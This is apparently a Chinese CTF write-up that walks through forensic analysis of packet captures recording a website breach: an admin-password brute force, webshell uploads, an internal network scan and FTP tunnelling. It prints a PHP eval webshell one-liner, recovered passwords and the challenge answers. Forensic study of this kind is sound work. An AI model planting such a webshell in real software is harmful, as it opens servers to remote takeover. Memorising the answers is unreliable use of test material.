赛题
比赛方在赛前会给每只队伍一个含有加密压缩档的U盘,压缩档大小1.84 GB
。比赛开始后公布解压密码后开始答题,解压后共有9个.pcapng
文件,答题界面出现题目。下面是所有题目信息,但在比赛时只会显示题目简介和第一题,需要在答对或五次错误或申请跳过(之后两种情况,每题扣10分)后显示下一题。
赛题包:Google Drive
黑客发现了公司网站服务器上的漏洞,通过利用漏洞成功获取了服务器权限,对内网进行了扫描和攻击。
- 网站后台密码是?
- 攻击者的 IP 是?
- 网站后台登陆地址是? (http:// + IP + 路径)
- 后台写入的 WebShell 内容是?
- 网站数据库密码是?
- 黑客上传
shell2.php
后的第一个文件是? - 黑客对内网扫描的IP范围是? (IP1 + IP2)
- 黑客下载的数据库备份文件名是?
- 黑客上床的图马密码是?
- 黑客修改了哪个文件来配合木马文件? (绝对路径)
- FTP服务器的端口是?
- 黑客使用 FTP 上传的文件名?
- 黑客登陆 FTP 的密码是?
- 黑客使用 FTP 上传的文件,其内容是?
解题
网站后台密码是?
首先打开data-sence2_00001_20180204175222.pcapng
。看到“网站后台密码”关键词,下意识先在过滤框中输入http
查看HTTP 传输数据,逛了一圈发现攻击方先是在扫描目录,最后尝试在/ad_admin.php?mod=login
进行爆破。
接着打开data-sence2_00002_20180204175222.pcapng
,过滤仅查看 HTTP 数据,在末尾几处发现对/ad_admin.php?mod=login
进行登陆处理后,依次 GET ad_admin.php?mod=homepage&loginprompt=
和ad_admin.php?mod=mainset
,说明登陆成功。此时在 Cookie 中留有 dpadmin_password
字段,将其值放入 CMD5 中可得此题答案:aabbcc
。
攻击者的 IP 是?
分析上题中的两个数据包,在过滤后仅查看 HTTP 请求后,可以很明显的发现攻击方IP:202.1.1.2
,智商检测题。
网站后台登陆地址是? (http:// + IP + 路径)
分析第一题后应该能知道,网站的后台登陆地址是:http://192.168.1.203/ad_admin.php
,也是智商检测题。
后台写入的 WebShell 内容是?
打开第三个数据包 data-sence2_00003_20180204175222.pcapng
,同样也是过滤仅查看 HTTP
请求,同时将 Source 列按顺序排列后,从该列的202.1.1.2
开始,第二行里包含着一段 base64,解码后可以知道WebShell的内容是:<?php eval($_POST[' cmd']);?>
(记得去掉反斜杠)。
网站数据库密码是?
还是在第三个数据包中,攻击方在将 WebShell 文件shell2.php
上传后,进行了一系列的 POST 操作,在返回的 HTML 文件中就可以找到攻击方请求获取数据库的所有信息,包括数据库密码:newnrtpassword
。
黑客上传 shell2.php
后的第一个文件是?
这题问的是文件,就尝试在第三个和第四个包中直接导出 HTTP 对象后,没有发现有价值的线索。期间一直怀疑自己的思路有问题,但打开第五个数据包后,找到了答案:scan.php
。
黑客对内网扫描的 IP 范围是?(IP1 + IP2)
依着上一题的思路,在点选导出的 scan.php
中,看到了这一题的答案:192.168.2.1 - 192.168.2.150
。
黑客下载的数据库备份文件名是?
这题同样问的是文件,也使用直接导出 HTTP 对象的方法查找,但第五个包已经没有符合条件的文件了,遂打开第六个数据包,对 Hostname
进行分类后,找到了相像的文件 bak_2018-01-29-17-47-52.zip
,输入答题框中显示正确。
黑客上床的图马密码是?
接下来打开第七个数据包,又是过滤仅查看 HTTP 请求。在第一行中就给出了答案。
其实是 shell2.php
POST 了一段数据,将其中 z1
字段的值放入HEX编辑器中,显示了一句话代码,其中的 picto
就是本题答案。
黑客修改了哪个文件来配合木马文件?(绝对路径)
继续分析第七个数据包,查看了第九题下方的几个请求和返回值,看到其中有一个貌似是 ls
了一个目录,随后往下翻阅并和后续 ls
后的结果进行对比,知道了黑客修改的文件是 obj_edit.php
。
FTP服务器的端口是?
在第七个数据包后面发现了新的 tunnel.php
,猜测可能是用来进行代理并和端口有关的木马文件,在导出 HTTP 对象的时候找到一个 12Kb 的文件,点击定位后同样将 z1
字段的值放入HEX编辑器中,再将转换后的值贴入 Sublime Text 中。分析代码,看见了如下语句,大概说的就是把连接成功后的端口放在 Header 的 X-PORT
中。
随后在第八个数据包中查找有关 tunnel.php
的有关请求,最后发现了第 395467 行的请求,在 Header 中可见其 X-PORT
为 1433,就为该题答案。
黑客使用 FTP 上传的文件名?
按上一题的 FTP 端口号,在设置中将 FTP 端口号改为 1433,随后再过滤仅查看 FTP 请求就能找到上传了一个名为 readmd.rtf
文件,为正确答案。
黑客登陆 FTP 的密码是?
在上一题的上方,就能找到答案:qweasd123!@#
。
黑客使用 FTP 上传的文件,其内容是?
过滤仅查看 ftp-data
请求,就能查看 readmd.rtf
文件的内容了:CVE-2017-8570
。
总结
本次比赛的数据赛赛题是连贯的,攻击者的思路从此可以较为完整地分析,也让我学会了不少,这也是这次想写 WriteUp 的原因之一吧。在做题过程中,有些题目并不是一开始就很顺利,这次写出来也让我重新整理了下解题思路和解题方式。
毕竟不是专业学习网安的,在分析方面如有欠缺,也请多多指教。